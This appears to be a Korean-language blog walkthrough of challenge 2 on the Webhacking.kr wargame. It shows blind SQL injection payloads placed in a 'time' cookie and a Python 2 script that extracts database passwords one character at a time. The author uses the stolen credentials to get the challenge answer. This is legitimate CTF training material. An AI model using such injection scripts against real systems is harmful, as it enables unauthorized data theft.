이번엔 Webhacking.kr 사이트 2번 문제를 풀어봐야겠다


2 클릭!



아래와 같은 페이지가 나온다


소스 보기를 눌러보자



잘 보다보면 admin 이라는 페이지가 보인다



한번 들어가보았다



admin page라고 나오면서 패스워드를 적는 페이지가 나온다



SQL Injection을 시도해보았지만


쉽지 않았다


그러다가 다른 페이지들을 돌아 다녀봤는데


BOARD 페이지에 가보니 아래와 같이 글이 올라와있었다



비밀글로..



그러다가 발견한 부분이 Cookie 값에 time 이라는 값이 추가된 것과


메인 페이지 소스보기에서 주석처리되어있던 시간 값이다




먼가 관련이 있을거 같다는 생각이 들어서


time 값을 이용하여 Blind SQL Injection을 시도해보았다


and 1=0



소스보기 결과



and 1=1



소스보기 결과



이렇게 1=0(거짓) 일 때, 주석된 시간값과


1=1(참) 일 때, 주석된 시간값이 다르다.


Blind SQL Injection의 취약점이 존재한다는 뜻이다


쿼리문을 한자리만 리턴하도록 짜고 그 결과를 한자리씩 비교해보면서


참이면 <!--2070-01-01 09:00:01-->라는 소스코드가 나올것이다


이렇게 한자리씩 비교해보면서 찾아가면 게시물의 패스워드를 알아낼 수 있다.


아무리 알아봐도 table 명을 알아낼 수가 없어서 찾아봤더니


예전에는 테이블명이 힌트로 주어졌다고 한다


bbs 페이지의 테이블명 : FreeB0aRd


admin 페이지의 테이블명 : admin


이 정보를 이용하여 password를 알아내 보자


time 쿠키 값에 and (select length(password) from FreeB0aRd) = 8 를 추가해보고


결과를 확인해보자



아래와 같이 <!--2070-0101 09:00:00--> 가 나왔다



이번엔 9를 넣어봤다



아래와 같이 <!--2070-0101 09:00:00--> 가 나왔다


FreeB0aRd 테이블의 password의 길이는 9라는걸 알게 되었다



이와 같이 admin 테이블의 password의 길이도 알아보자




아래와 같이 결과를 보면 admin 테이블의 password의 길이는 10이였다




이제 substring과 ascii를 이용하여 한글자씩 비교하는 코드를 짜서 password를 알아내보자


이런식으로 한글자씩 알아내려면 하루죙일 걸릴것이기 때문에


파이썬(Python)을 이용하여 코드를 짜보았다


(참고사이트 : http://rootnix.in/80)


(Python 2.x 버전을 이용하였다)


패스워드 길이 알아보기



아래는 패스워드 찾기



import re, urllib, urllib2

pw=""

my_cookie = "PHPSESSID"


print "FreeB0aRd password find Start"


for i in range(1, 11):

    for j in range(33,126):

        url="http://webhacking.kr/challenge/web/web-02/"

        req=urllib2.Request(url)

        req.add_header('Cookie',"time=1432644376 and (select ascii(substring(password,%d,1)) from FreeB0aRd)=%d; PHPSESSID=%s" %(i,j,my_cookie))

        read=urllib2.urlopen(req).read()

        find = re.findall("<!--2070-01-01 09:00:01-->",read)


        if find:

            pw=pw+chr(j)

            print "find password: " + pw

            break


print "Find password"

print "FreeB0aRd password is %s" %(pw)



이런 식으로 패스워드를 알아 낼 수 있다


(영어는 패스!)


admin도 해보았다



코드가 궁금하신분을 위해 공유


webhackingNo2PythonCode.zip

(코드를 짜는데에 있어서 http://rootnix.in/80를 참조하였습니다)


이제 패스워드를 알아냈으니 답을 찾아보자


우선 게시판의 게시글 부터 읽어보자



admin manual 을 클릭하여 파일을 다운받자



압축 파일이다



압축을 풀려고 하면 암호를 물어본다



압축 파일의 패스워드를 알아내기 위해 admin 페이지로 이동하자



blind SQL Injection으로 알아낸 패스워드를 넣어 login 하자



로그인하면 아래와 같이 메뉴얼의 패스워드를 알려준다



알아낸 메뉴얼 패스워드로 압축 파일을 풀어보자



manual.html 파일로 압축이 풀렸다


열어보자



드디어 webhacking.kr 2번 문제의 답을 알아내였다



1번 문제에 비해 난이도가 있었던거 같다..


힌트가 아무리 찾아도 안보이는데 검색을 통해 알아냈다..ㅠㅠ


아무튼 2번 문제 해결!


다음 3번문제 포스팅하러 쓩